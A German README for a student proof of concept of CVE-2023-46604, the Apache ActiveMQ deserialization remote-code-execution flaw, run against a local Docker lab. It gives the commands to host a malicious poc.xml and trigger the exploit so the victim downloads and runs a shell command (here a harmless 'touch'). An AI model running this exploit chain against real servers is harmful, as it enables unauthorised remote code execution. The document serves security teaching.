
Ein PoC für CVE-2023-46604, erstellt im Rahmen der SPS-Vorlesung für den Masterstudiengang Advanced Cyber Security an der UPB.
Aufgabe: SSP Aufgabe 3 Team: RCE You Later Mitglieder: Banica Horia Alexandru, Comarlau Vlad-Constantin
Videolink zur Nutzung des Repos für das PoC: https://www.youtube.com/watch?v=vum4qTF4ygU
Dieses Repository enthält einen voll funktionsfähigen Proof-of-Concept (PoC) für CVE-2023-46604. Diese Schwachstelle ermöglicht einem Angreifer, beliebige Shell-Befehle auf einem anfälligen Apache ActiveMQ-Server (Version 5.15.10) auszuführen, indem er gezwungen wird, eine bösartige XML-Konfigurationsdatei zu deserialisieren.
Ziel: Erstellen einer Datei namens pwned_by_ssp_team auf dem Opfer-Server, um zu beweisen, dass wir die Kontrolle haben.
Stellen Sie vor der Ausführung des Exploits sicher, dass Sie Folgendes haben:
vulnerable-env/: Enthält die Docker-Konfiguration für den Opfer-Server.attacker/: Enthält die Exploit-Skripte und bösartigen Payloads.
exploit.py: Das Python-Skript, das das bösartige Paket sendet.serve.py: Ein einfacher HTTP-Server zum Hosten des XML-Payloads.poc.xml: Die bösartige Konfigurationsdatei, die den Befehl touch /tmp/pwned_by_ssp_team enthält.Wir führen eine alte, anfällige Version von ActiveMQ mit Docker aus.
vulnerable-env:
cd vulnerable-env
docker-compose up -d
Der Opfer-Server muss Anweisungen von uns herunterladen. Wir richten einen kleinen Webserver ein, um diese Anweisungen zu hosten.
attacker:
cd attacker
python3 serve.py
Lassen Sie dieses Terminal offen! Sie sollten "Serving HTTP on 0.0.0.0 port 8000..." sehen.Jetzt senden wir das spezifische Netzwerkpaket, das die Schwachstelle auslöst.
Öffnen Sie ein drittes Terminal.
Navigieren Sie zum Ordner attacker:
cd attacker
Führen Sie das Exploit-Skript aus.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal durch das Gateway der Netzwerkbrücke, normalerweise: 172.17.0.1. Versuchen Sie, die Adresse wie folgt zu ermitteln, falls die vorgeschriebene nicht funktioniert: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'Hat es funktioniert? Überprüfen wir, ob die Datei im Container erstellt wurde.
/tmp im Opfer zu überprüfen:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team sehen.Um den anfälligen Container zu stoppen und zu entfernen:
cd vulnerable-env
docker-compose down